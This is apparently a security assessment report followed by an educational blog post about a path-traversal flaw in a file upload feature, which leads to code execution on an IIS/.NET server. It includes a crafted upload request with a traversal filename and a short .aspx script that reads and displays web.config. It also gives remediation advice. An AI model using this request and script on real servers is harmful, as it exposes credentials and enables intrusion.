Executive Summary
..\..\), an attacker can upload malicious executable files (e.g., .aspx) to arbitrary directories on the server. This allows for the execution of server-side code, leading to full system compromise and unauthorized access to sensitive configuration files including web.config, database credentials, and internal network configuration.
Technical Details
/uploads and /files were identified. These directories serve as the initial target surface for the attack chain.Host: target.example.com
Content-Type: multipart/form-data; boundary=----FormBound
Cookie: session=eyJhbGciOiJIUzI1NiJ9...
------FormBound
Content-Disposition: form-data; name="file"; filename="..\..\reader.aspx"
Content-Type: image/jpeg
[Malicious .aspx payload]
filename parameter in the Content-Disposition header was modified to include traversal sequences. Instead of writing to the intended uploads directory, the file is written to the web root.C:\inetpub\wwwroot\uploads\user_file.jpg
// Traversal payload resolves to
C:\inetpub\wwwroot\uploads\..\..\reader.aspx
→ C:\inetpub\wwwroot\reader.aspx
.aspx script contained C# code designed to locate and read the web.config file, achieving server-side code execution upon browser access.<%
string configPath = Server.MapPath("~/web.config");
string contents = System.IO.File.ReadAllText(configPath);
Response.Write("<pre>" + Server.HtmlEncode(contents) + "</pre>");
%>
Impact Analysis
Remediation Recommendations
../ and ..\ sequences from all filename inputs. Use Path.GetFileName() in .NET or equivalent to extract only the final filename component..jpg, .png, .pdf) and validate file content via MIME type inspection, not just the extension. Use magic bytes verification.Blog Post — Educational
In the world of web security, "File Upload" functionality is often the most dangerous door to leave unlocked. During a recent security research project, I explored how a seemingly standard upload feature could be turned into a gateway for Remote Code Execution (RCE) — and the findings were sobering.
Every assessment starts with mapping the landscape. By identifying hidden directories, a researcher can find where the "treasure" is stored — usually in folders named uploads or assets. These directories become the staging ground for what follows.
The vulnerability occurs when a server blindly trusts the filename provided by the user. If a developer doesn't sanitize the input, an attacker can weaponize "Path Traversal" (..\..\). Instead of the file landing safely in /var/www/uploads/test.txt, it lands in the web root as reader.aspx — a fully executable script.
..\ sequences traverse upward through the filesystem, escaping the intended sandbox entirely.
Once you can place a script (like .aspx or .php) on the server and access it via URL, you have achieved RCE. In this scenario, a crafted script was used to read the server's configuration files — the "keys to the kingdom" — which often contain:
- Clear-text database passwords and connection strings
- Internal network IP addresses and service endpoints
- Encryption keys and application secrets for the entire platform
Security is about layers. Never trust user input, always validate file extensions against a strict whitelist, and ensure your upload directories are configured to never execute code. These aren't difficult fixes — but they must be intentional.